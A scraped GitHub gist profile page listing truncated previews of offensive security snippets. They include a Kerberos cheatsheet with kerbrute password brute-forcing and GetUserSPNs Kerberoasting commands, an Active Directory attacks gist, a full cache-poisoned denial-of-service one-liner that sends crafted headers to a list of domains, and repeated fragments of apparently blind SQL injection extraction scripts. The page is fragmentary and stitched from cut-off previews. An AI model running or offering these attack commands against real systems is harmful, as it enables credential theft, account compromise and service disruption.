Skip to content

Instantly share code, notes, and snippets.

View cyberheartmi9's full-sized avatar
:octocat:
Breaking stuff

PikaChu cyberheartmi9

:octocat:
Breaking stuff
View GitHub Profile
@cyberheartmi9
cyberheartmi9 / kerberos_attacks_cheatsheet.md
Created March 21, 2021 12:05 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys
========================================================================================================================
Kerberos Attacks
========================================================================================================================
[+] Kerbose attack
./GetUserSPNs.py -dc-ip 192.168.168.10 sittingduck.info/notanadmin
@cyberheartmi9
cyberheartmi9 / Active Directory Attacks.md
Created February 27, 2021 22:11 — forked from ssstonebraker/Active Directory Attacks.md
Active Directory Attacks #oscp
@cyberheartmi9
cyberheartmi9 / cpdos.sh
Created February 18, 2021 21:09
Cache Poisoned Denial of Service
cat ~/domain.txt | httprobe | while read url;do ww=$(for i in "X-Oversized-Header-1: Big_Valuetestetstsetsetstsetestsetsetsetsetsetestsetsetsetsetsetsetsetsetsetesset" "X-Meta-Malicious-Header: \r\n" "X-HTTP-Method-Override: POST" "X-Forwarded-Port: 123" "X-Forwarded-Host: $url:123";do curl -s -L -I -H $i $url;done|grep HTTP|grep -v '301 '|awk '{ printf "%3d: %s\n", NR, $0 }');echo -e "\e[1;32m$url\e[0m""\n""$ww""\n";done
import requests
import re
import string
ch=string.ascii_lowercase+string.digits
#ch=string.printable
import requests
import re
def extract(x):
link = re.compile("""src=[\"\']/r(.*)[\"\']""")
links = link.finditer(x)
for i in links:
import requests
import re
def extract(x):
link = re.compile("""src=[\"\']/r(.*)[\"\']""")
links = link.finditer(x)
for i in links:
import requests
import re
def extract(x):
link = re.compile("""src=[\"\']/r(.*)[\"\']""")
links = link.finditer(x)
for i in links:
import requests
import string
ch=string.printable
#table ->admin
#username -->column length 5